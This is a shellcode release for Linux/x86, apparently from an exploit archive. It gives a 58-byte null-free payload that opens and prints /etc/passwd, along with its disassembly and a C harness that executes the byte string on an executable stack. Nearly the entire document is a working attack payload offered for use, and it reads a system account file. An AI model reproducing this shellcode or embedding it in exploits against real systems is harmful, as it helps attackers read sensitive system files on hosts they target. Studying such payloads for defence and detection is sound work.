/* 
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) (58 bytes). NULL byte free
# Date: 2019-01-31
# Author: Kiewicz (@_Kiewicz)
# Homepage: https://0xkiewicz.github.io
# Tested on: Debian/x86
# gcc -o shellcode -z execstack -fno-stack-protector shellcode.c 
# PA-7854
*/


/******************************************************************
$ objdump -d -M intel read_file

read_file:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:  eb 28                  jmp    804808a <read_file>

08048062 <open>:
 8048062:  5b                     pop    ebx
 8048063:  31 c9                  xor    ecx,ecx
 8048065:  f7 e1                  mul    ecx
 8048067:  99                     cdq    
 8048068:  b0 05                  mov    al,0x5
 804806a:  cd 80                  int    0x80

0804806c <read>:
 804806c:  89 c3                  mov    ebx,eax
 804806e:  b0 03                  mov    al,0x3
 8048070:  89 e7                  mov    edi,esp
 8048072:  89 f9                  mov    ecx,edi
 8048074:  31 d2                  xor    edx,edx
 8048076:  b2 ff                  mov    dl,0xff
 8048078:  cd 80                  int    0x80

0804807a <write>:
 804807a:  89 c2                  mov    edx,eax
 804807c:  31 c0                  xor    eax,eax
 804807e:  b0 04                  mov    al,0x4
 8048080:  31 db                  xor    ebx,ebx
 8048082:  b3 01                  mov    bl,0x1
 8048084:  cd 80                  int    0x80

08048086 <exit>:
 8048086:  b0 01                  mov    al,0x1
 8048088:  cd 80                  int    0x80

0804808a <read_file>:
 804808a:  e8 d3 ff ff ff         call   8048062 <open>

0804808f <filetoread>:
 804808f:  2f                     das    
 8048090:  65 74 63               gs je  80480f6 <filetoread+0x67>
 8048093:  2f                     das    
 8048094:  70 61                  jo     80480f7 <filetoread+0x68>
 8048096:  73 73                  jae    804810b <filetoread+0x7c>
 8048098:  77 64                  ja     80480fe <filetoread+0x6f>
******************************************************************/

#include<stdio.h>
#include<string.h>

unsigned char code[] = "\xeb\x28\x5b\x31\xc9\xf7\xe1\x99\xb0\x05\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb2\xff\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\xb0\x01\xcd\x80\xe8\xd3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

int main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();
  return 0;
}